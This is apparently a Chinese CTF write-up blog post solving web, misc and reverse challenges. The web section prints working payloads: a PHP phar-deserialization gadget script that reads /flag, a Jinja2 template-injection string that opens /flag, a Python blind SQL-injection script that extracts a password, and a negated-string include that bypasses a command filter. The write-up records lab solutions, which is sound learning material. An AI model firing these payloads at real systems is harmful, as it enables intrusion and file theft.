👴就来看看题,老懒狗了,
极客癫疯是我打过最好的比赛
WEB
babyphp2
开局直接源码泄露www.zip
核心是classes.php
有类,有上传,直接phar反序列化干就完事
<?php
class User{
public $nickname=null;
public $backup;
}
Class Reader{
}
class dbCtrl
{
public $token;
}
$dbCtrl=new dbCtrl();
$user = new User();
$user->nickname = new Reader();
$user->backup = "/flag";
$dbCtrl->token = $user;
$phar = new Phar("phar.phar");
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置 stub
$phar->startBuffering();
$phar->setMetadata($dbCtrl); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
然后上传,在read.php页面
compress.zlib://phar:///var/www/html/upload/文件
访问即可
babyflask
白给题,name直接payload打过去就完事
name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/flag', 'r').read() }}{% endif %}{% endfor %}
babyback
过滤一堆,但是用regexp注入可以直接日翻
(这里语句构筑出来了,时间不够写脚本了就没出.jpg)
借鉴一下y1ng的脚本
import requests as req
url = " "
data = {
"username" : '''admin\''',
"password" : ""
}
res = ""
for position in range(1,30):
for i in range(32,127):
payload = f"or/**/ascii(substr(password,{position},1))>{i}#"
data["password"] = payload
r = req.post(url=url, data=data)
if r"<div class='logo'>密码错误" not in r.text:
res += chr(i)
print(res)
break
else:
continue
盲注出密码为:uAreRigHt
登陆后还是个命令执行,依旧过滤了一堆,由于没过滤尖括号,有了新的思路
command=?><?=include~%D0%99%93%9E%98?>
构筑php文件包含即可hhh
MISC
签到
规定时间内拼图出来就行了.jpg 拼了好几次都没flag,原因是拼的太慢的屑
Chal
这题懒狗了,思路很正确,目标很明确,但是我是懒狗,不想继续抄,白丢400分.jpg
下载下来后是个zip,解压后一个莫名其妙的文件,通过binwalk看文件类型发现是个wireshark文件,彳亍
导入wireshark
核心的便是这些IEC协议,百度搜一下就知道是KW-2200的配电站通讯协议
协议手册:https://wenku.baidu.com/view/b495f21b03020740be1e650e52ea551810a6c983.html
所以,把报文全部整理,把后面的二进制位抄出来就行力。。。。。
我是懒狗我谢罪
还是有方便的方法的,利用PMA输入报文后导出,导入仿真软件走一遍就出数据了,虽然手动输入数据还是很麻烦.jpg
RE
virus:
sb脑洞逆向,F5有个迷宫,走就完事了
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容